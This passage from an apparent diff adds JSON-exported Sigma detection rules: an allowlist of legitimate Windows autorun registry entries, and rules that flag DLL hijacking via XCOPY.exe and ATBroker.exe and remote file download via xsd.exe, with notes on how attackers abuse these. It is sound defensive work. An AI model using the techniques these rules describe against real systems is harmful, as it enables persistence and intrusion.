'\"?:\\Users\\\\*\\AppData\\Local\\clavier+\\clavier.exe\" /launch'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\clavier+'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\cliq\\update.exe --processstart \"cliq.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\com.squirrel.cliq.cliq'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\com.doko.winx\\doko-phone.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\doko-phone'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\ecosiabrowser\\application\\ecosiabrowser.exe\" --no-startup-window /prefetch:5'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\googlechromeautolaunch_*'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\element-desktop\\update.exe\" --processstart \"element.exe\" --process-start-args \"--hidden\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\element'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\episoftware\\epibrowser\\application\\epibrowser.exe\" --from-registry'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\epibrowserstartup'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\episoftware\\epibrowser\\application\\epibrowser.exe\" --no-startup-window --existing-window /prefetch:5'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\epibrowserautolaunch_*'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\episoftware\\epibrowser\\application\\epibrowser.exe\" --update'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\epibrowserupdate'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\fenetre\\fenetre capture tool\\fenetrecapturetool.exe /startminimized'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\fenetrecapturetool'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\fingerprint\\fingerprint-fde\\myistra\\myistra.exe\" -startwithos'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\myistra'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\gamejoltclient\\gamejoltclient.exe\" run -- --silent-start'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\gamejoltclient'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\google\\update\\\\*\\googleupdatecore.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\google update'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\hubone\\hubonepp\\mycallpp\\mycallpp.exe\" -startwithos'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\mycallpp'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\mathworks\\servicehost\\v*\\bin\\win64\\matlabconnector.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\matlab connector'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\microsoft\\edge dev\\application\\msedge.exe\" --no-startup-window --win-session-start'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\microsoftedgeautolaunch_*'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\mixesoft\\appnhost\\appnhost.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\appnhost'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\nordvpn\\updates\\channel-*\\\\*\\\\*.exe /silent /verysilent'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Runonce\\nordvpn update'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\onelaunch\\\\*\\chromium\\chromium.exe\" --no-startup-window /prefetch:5'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\googlechromeautolaunch_*'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\onelaunch\\\\*\\onelaunch.exe /startedfrom=registry'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\onelaunch'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\onelaunch\\\\*\\chromiumstartupproxy.exe--tab-trigger=systemstart'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\onelaunchchromium'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\oneop\\gto_fde\\oneapp\\oneapp.exe\" -startwithos'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\oneapp'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\onestart.ai\\onestart\\application\\onestart.exe\" --existing-window'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\onestartchromium'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\onestart.ai\\onestart\\application\\onestart.exe\" --no-startup-window --from-registry /prefetch:5'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\onestartautolaunch_*'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\onestart.ai\\onestart\\application\\onestart.exe\" --update'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\onestartupdate'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\artlist\\artlist hub.exe --hidden'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\electron.app.artlist hub'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\programs\\authenticator ?\\authenticator ?.exe\" --hidden'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\authenticator 6'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\curseforge windows\\curseforge.exe --minimized'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\electron.app.curseforge'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\doctolib\\doctolib.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\com.doctolib.pro.desktop'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\programs\\lively wallpaper\\lively.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\lively'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\programs\\module coliship\\module coliship.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\module coliship'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\monsisra2\\monsisra2.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\monsisra'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\monsisraapp\\monsisra2.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\monsisra'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\monsisra\\monsisra2.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\monsisra'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\opera gx\\opera.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\opera gx stable'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\parceo-discussions-app\\parceo-discussions.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\parceo-discussions'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\ringover\\resources\\app.asar'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\ringover'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\ringover\\ringover.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\ringover'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\spico-discussions-app\\spico-discussions.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\spico-discussions'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\tldv\\tldv.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\electron.app.tldv'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\twinkle-tray\\twinkle tray.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\electron.app.twinkle tray'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\wazo\\wazo desktop.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\wazo.client.desktop'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\programs\\zalo\\zalo.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\zalo'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\shift\\chromium\\shift.exe\" --launch-source=sign-in'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\shiftautolaunch_*'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\spark\\spark.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\spark'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\tel4b\\production\\myistra\\myistra.exe\" -startwithos'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\myistra'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\webex\\ciscowebexstart.exe\" /daemon /from=autorun'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\ciscomeetingdaemon'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\webex\\webexhost.exe\" /daemon /from=autorun'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\ciscomeetingdaemon'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\webex\\webexhost.exe\" /daemon /runfrom=autorun'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\ciscomeetingdaemon'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\xivo-desktop-assistant\\update.exe\" --processstart \"xivo-desktop-assistant.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\xivo-desktop-assistant'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\xivo-desktop-assistant\\xivo-desktop-assistant.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\xivo-desktop-assistant'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Roaming\\adobe\\connect\\connectdetector.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\connectdetector'\n        - Details: '?:\\Users\\\\*\\AppData\\Roaming\\asus\\smartkvm1591\\functmodules\\{*}\\smartdata.exe -gn:runfromregistry -gs* -gs:apploaderexename:smartkvm.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\cs dispatch'\n        - Details: '?:\\Users\\\\*\\AppData\\Roaming\\spotify\\spotify.exe --autostart --minimized'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\spotify'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\wazo\\wazo desktop.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\wazo.client.desktop'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\programs\\wazo\\wazo desktop.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\wazo.client.desktop'\n        - Details: '?:\\Users\\\\*\\downloads\\unikey*\\unikeynt.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\unikey'\n        - Details: '\"?:\\Users\\\\*\\mon-assistant-marche-public\\mon assistant marches publics.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\mon assistant marches publics'\n        - Details: '?:\\windows\\explorer.exe me.blueone.win:noopt:hidden'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\bluemail'\n        - Details: '?:\\windows\\temp\\tcagentcleanup_logicnow.exe /instance _logicnow'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Runonce\\basupsrvcuninstallcomplete_logicnow'\n        - Details: '?:\\windows\\temp\\tcagentcleanup_n-central.exe /instance _n-central'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Runonce\\basupsrvcuninstallcomplete_n-central'\n        - Details: '?:\\windows\\twain_32\\brims???\\common\\twdsuilaunch.exe'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\s???'\n        - Details: '?:\\windows\\twain_32\\fjicube\\fjtwmkic.exe /station'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\fjtwainic setup'\n        - Details: '?:\\windows\\twain_32\\fjicube\\icwiachecker.exe'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\icwia service checker'\n        - Details: '?:\\windows\\twain_32\\fjscan32\\sop\\ftlnsop.exe'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\ftlnsop_setup'\n        - Details: 'devdetect.exe -autorun'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\device detector'\n        - Details: '\"*\\rca\\rcasuite\\rcasuite.exe\" /minimize'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\rca suite'\n        - Details: 'philipsspeechdriverconfiguration.exe'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\philipsspeechdriverconfiguration'\n        - Details: 'pspcontr.exe'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\pspcontr'\n        - Details: 'regedit.exe /s ?:\\ProgramData\\mo\\mo-dict.reg'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\mo_dict'\n        - Details: 'reg.exe delete hklm\\system\\controlset001\\services\\basicdisplay /v acceleration.level /f'\n          TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Runonce\\bomgar hardware acceleration restore [\\device\\video*]'\n        - Details: '*\\inot.san\\i-not\\cti\\cti.bat'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\cti'\n        - Details: '%windir%\\azurearcsetup\\systray\\azurearcsystray.exe'\n          TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Run\\azurearcsetup'\n        - Details: 'cmd /c REG ADD ?HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Search? /v SearchboxTaskbarMode /t REG_DWORD /d 0 /f'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\SearchboxTaskbarMode'\n        - Details: 'cmd /c REG ADD ?HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced? /v TaskbarMn /t REG_DWORD /d 0 /f'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\TaskbarMn'\n        - Details: '?:\\WINDOWS\\Microsoft.NET\\Framework\\v*\\netfxupdate.exe? 0 v* GAC + NI NID'\n          TargetObject: 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\NetFxUpdate_v*'\n        - Details: '?:\\ProgramData\\Package Cache\\{????????-????-????-????-????????????}\\CybereasonSensor.exe? /uninstall /quiet /NoRestart'\n          TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\!UninstallOldCrSensor.{????????-????-????-????-????????????}'\n        - Details: '?:\\Windows\\Temp\\MUBSTemp\\BCILauncher.exe bgaupmi=????????????????????????????????'\n          TargetObject: 'HKU\\\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\!BCILauncher'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\Programs\\Authenticator ?\\Authenticator.exe? --hidden'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Authenticator'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\ScreenCast\\Upgrade.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Upgrade'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\Suuntolink\\app-*\\resources\\app\\LaunchAgents\\SuuntolinkLauncher.exe'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SuuntolinkLauncher'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "970dca0d-7bda-4ab7-a60c-a23fa59e6627",
+  "rule_name": "Registry Autorun Key Added",
+  "rule_description": "Detects when a suspicious entry is added or modified in one of the autostart extensibility points (ASEP) in the registry, which may indicate an attempt to establish persistence.\nAutostart extensibility points are registry locations that Windows uses to automatically execute programs during system startup or user logon. Common ASEP locations include Run and RunOnce keys under \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\" and \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\". Attackers frequently abuse these registry keys to achieve persistence by adding entries that reference malicious executables, scripts, or commands. This technique allows malware to survive system reboots and maintain a foothold on the compromised system without requiring user interaction.\nIt is recommended to investigate the process that created or modified the registry key, examine the target executable or command referenced in the registry value and verify whether the entry corresponds to legitimate software.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9711dafd-3fde-40dd-9d4d-7804b4b4fa07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601429Z",
+  "creation_date": "2026-03-23T11:45:34.601433Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601440Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_xcopy.yml",
+  "content": "title: DLL Hijacking via XCOPY.exe\nid: 9711dafd-3fde-40dd-9d4d-7804b4b4fa07\ndescription: |\n    Detects potential Windows DLL Hijacking via XCOPY.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'XCOPY.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\ifsutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9711dafd-3fde-40dd-9d4d-7804b4b4fa07",
+  "rule_name": "DLL Hijacking via XCOPY.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via XCOPY.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "971e1089-25f4-4f7c-871c-3d7c3abefabb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082740Z",
+  "creation_date": "2026-03-23T11:45:34.082742Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082747Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/xsd/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_xsd_lolbas_tool_transfer.yml",
+  "content": "title: File Downloaded via xsd.exe\nid: 971e1089-25f4-4f7c-871c-3d7c3abefabb\ndescription: |\n    Detects a suspicious execution of the xsd.exe executable to download a remote file.\n    The downloaded file is saved in one of these locations:\n        - %LocalAppData%\\Microsoft\\Windows\\INetCache\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n        - %LocalAppData%\\Microsoft\\Windows\\INetCache\\IE\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n    Adversaries may transfer tools or other files to a compromised environment using legitimate tools to evade detection.\n    It is recommended to check the content of the downloaded file and look for other suspicious behavior in the user's session.\nreferences:\n    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/xsd/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2024/12/06\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Xsd\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_exe_image:\n        - Image|endswith: '\\xsd.exe'\n        # Renamed binaries\n        - OriginalFileName: 'xsd.exe'\n\n    selection_cmdline:\n        CommandLine|contains:\n            - 'http'\n            - 'ftp://'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "971e1089-25f4-4f7c-871c-3d7c3abefabb",
+  "rule_name": "File Downloaded via xsd.exe",
+  "rule_description": "Detects a suspicious execution of the xsd.exe executable to download a remote file.\nThe downloaded file is saved in one of these locations:\n    - %LocalAppData%\\Microsoft\\Windows\\INetCache\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n    - %LocalAppData%\\Microsoft\\Windows\\INetCache\\IE\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\nAdversaries may transfer tools or other files to a compromised environment using legitimate tools to evade detection.\nIt is recommended to check the content of the downloaded file and look for other suspicious behavior in the user's session.\n",
+  "rule_creation_date": "2024-12-06",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9742d744-56b7-4e82-b4a6-5c27217bec3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081916Z",
+  "creation_date": "2026-03-23T11:45:34.081918Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081923Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_atbroker.yml",
+  "content": "title: DLL Hijacking via ATBroker.exe\nid: 9742d744-56b7-4e82-b4a6-5c27217bec3a\ndescription: |\n    Detects potential Windows DLL Hijacking via ATBroker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: 